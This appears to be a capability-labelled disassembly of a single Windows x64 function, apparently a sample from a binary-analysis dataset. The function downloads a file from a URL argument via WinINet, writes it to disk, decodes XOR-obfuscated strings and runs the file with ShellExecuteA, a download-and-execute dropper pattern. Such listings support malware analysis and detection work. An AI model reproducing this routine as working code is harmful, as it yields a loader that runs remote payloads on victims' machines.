Function at 0x140001290
Capabilities:
Create http request
Create process on windows
Download and write a file
Encode data using xor
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
mov r11, rsp
push rbp
push rbx
push rdi
lea rbp, [r11 - 0x848]
sub rsp, 0x930
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rbp + 0x7c0], rax
movzx eax, word [0x1400078c8]
mov rdi, rdx
movsd xmm0, qword [str.vC_ZXY__I_]
mov rbx, rcx
movsd qword [rsp + 0x48], xmm0
lea rcx, [rsp + 0x48]
xor byte [rsp + 0x49], 0x33
xor r9d, r9d
xor byte [rsp + 0x4a], 0x34
xor r8d, r8d
xor byte [rsp + 0x4b], 0x35
xor byte [rsp + 0x4c], 0x36
xor byte [rsp + 0x4d], 0x37
xor byte [rsp + 0x4e], 0x38
xor byte [rsp + 0x4f], 0x39
mov qword [r11 + 0x18], rsi
xor esi, esi
mov word [rsp + 0x50], ax
movzx eax, byte [0x1400078ca]
xor byte [rsp + 0x50], 0x3a
xor al, 0x3c
xor byte [rsp + 0x51], 0x3b
mov qword [r11 - 0x20], r12
mov qword [r11 - 0x28], r13
mov qword [rsp + 0x70], rdx
lea edx, [rsi + 1]
mov qword [r11 - 0x30], r14
mov byte [rsp + 0x52], al
mov qword [r11 - 0x38], r15
mov byte [rsp + 0x48], 0x44
mov dword [rsp + 0x20], esi
call qword [sym.imp.WININET.dll_InternetOpenA]
cmp qword [rbx + 0x18], 0x10
mov r13, rax
mov qword [rsp + 0x78], rax
jb 0x140001359
mov rbx, qword [rbx]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
xor ebx, ebx
lea r9, [rbp - 0x4c]
mov r14, rax
mov qword [rsp + 0x20], rbx
mov eax, 4
lea r8, [rbp - 0x48]
mov rcx, r14
mov dword [rbp - 0x4c], eax
mov edx, 0x20000005
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp qword [rdi + 0x18], 0x10
mov rcx, rdi
jb 0x1400013ad
mov rcx, qword [rdi]
movaps xmmword [rsp + 0x900], xmm6
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
movaps xmmword [rsp + 0x8f0], xmm7
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
movaps xmmword [rsp + 0x8e0], xmm8
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rbp - 0x50]
mov r8d, 0x800
lea rdx, [rbp - 0x40]
mov rcx, r14
mov r15, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r12d, dword [0x14000b020]
test eax, eax
je 0x14000169c
mov edi, 4
movaps xmmword [rsp + 0x8d0], xmm9
movsd xmm9, qword [0x1400078f8]
lea r13d, [rdi + 0x1b]
mov r8d, dword [rbp - 0x50]
test r8d, r8d
je 0x140001689
lea r9, [rbp - 0x44]
mov qword [rsp + 0x20], rbx
lea rdx, [rbp - 0x40]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
add esi, dword [rbp - 0x50]
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm1, xmm1
mov eax, esi
xorps xmm0, xmm0
cvtsi2sd xmm1, rax
mov eax, dword [rbp - 0x48]
cvtsi2sd xmm0, rax
mov eax, dword [0x140007640]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x140007644]
xor byte [rsp + 0x41], 0x33
xor al, 0x36
xor byte [rsp + 0x42], 0x34
xor byte [rsp + 0x43], 0x35
divsd xmm1, xmm0
mov byte [rsp + 0x40], 0x5b
mov byte [rsp + 0x44], al
mulsd xmm1, xmm9
cvttsd2si ebx, xmm1
call fcn.140004c20
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov ecx, dword [0x1400078b8]
xor ebx, ebx
movsd xmm0, qword [0x1400078b0]
mov r10, rax
mov dword [rsp + 0x68], ecx
mov r8d, ebx
movzx ecx, byte [0x1400078bc]
mov byte [rsp + 0x6c], cl
movsd qword [rsp + 0x60], xmm0
cmp r12d, 2
jl 0x1400015f9
movdqa xmm2, xmmword [0x140007900]
mov r8d, 8
movdqa xmm4, xmmword [0x140007950]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x140007910]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, edi
movd xmm5, r13d
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140007920]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x1400078b0]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140007930]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222]
pxor xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x60], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140007920]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x64]
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140007930]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222]
pxor xmm2, xmm0
movd dword [rsp + 0x64], xmm2
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140001610
lea rdx, [rsp + 0x60]
mov rcx, r10
call fcn.140004c20
mov rcx, rax
lea rdx, [0x140007554]
call fcn.140004c20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
lea r9, [rbp - 0x50]
mov r8d, 0x800
lea rdx, [rbp - 0x40]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001430
mov rdi, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
movaps xmm9, xmmword [rsp + 0x8d0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movups xmm0, xmmword [0x140007858]
movzx eax, word [0x140007880]
cmp r12d, 2
movups xmm1, xmmword [0x140007868]
mov r15, qword [rsp + 0x910]
mov ecx, ebx
mov r14, qword [rsp + 0x918]
mov r13, qword [rsp + 0x920]
mov rsi, qword [rsp + 0x960]
mov r12, qword [rsp + 0x928]
movups xmmword [rbp - 0x80], xmm0
mov word [rbp - 0x58], ax
movsd xmm0, qword [0x140007878]
movsd qword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
jl 0x140001866
movdqa xmm0, xmmword [str.2222222222222222]
lea rdx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x140007900]
mov eax, 4
movdqa xmm4, xmmword [0x140007950]
movdqa xmm7, xmmword [0x140007920]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
movd xmm6, eax
mov eax, 0x1f
movd xmm8, eax
nop dword [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140007930]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140007930]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x28
jl 0x140001760
cmp ecx, 0x2a
jge 0x14000189d
movsxd rax, ecx
lea r8, [rbp - 0x80]
add r8, rax
mov eax, 0x5397829d
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0x2a
jl 0x140001870
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x80]
call fcn.140004c20
cmp qword [rdi + 0x18], 0x10
mov rdx, rdi
movaps xmm8, xmmword [rsp + 0x8e0]
movaps xmm7, xmmword [rsp + 0x8f0]
movaps xmm6, xmmword [rsp + 0x900]
jb 0x1400018d3
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140005240
lea rdx, [0x140004df0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [rdi + 0x18], 0x10
jb 0x1400018f9
mov rdi, qword [rdi]
mov eax, dword [0x140007594]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], eax
xor r9d, r9d
movzx eax, byte [0x140007598]
mov r8, rdi
xor byte [rsp + 0x41], 0x33
xor al, 0x36
xor byte [rsp + 0x42], 0x34
xor ecx, ecx
xor byte [rsp + 0x43], 0x35
mov dword [rsp + 0x28], 0xa
mov byte [rsp + 0x44], al
mov byte [rsp + 0x40], 0x6f
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, qword [rbp + 0x7c0]
xor rcx, rsp
call fcn.140005470
add rsp, 0x930
pop rdi
pop rbx
pop rbp
ret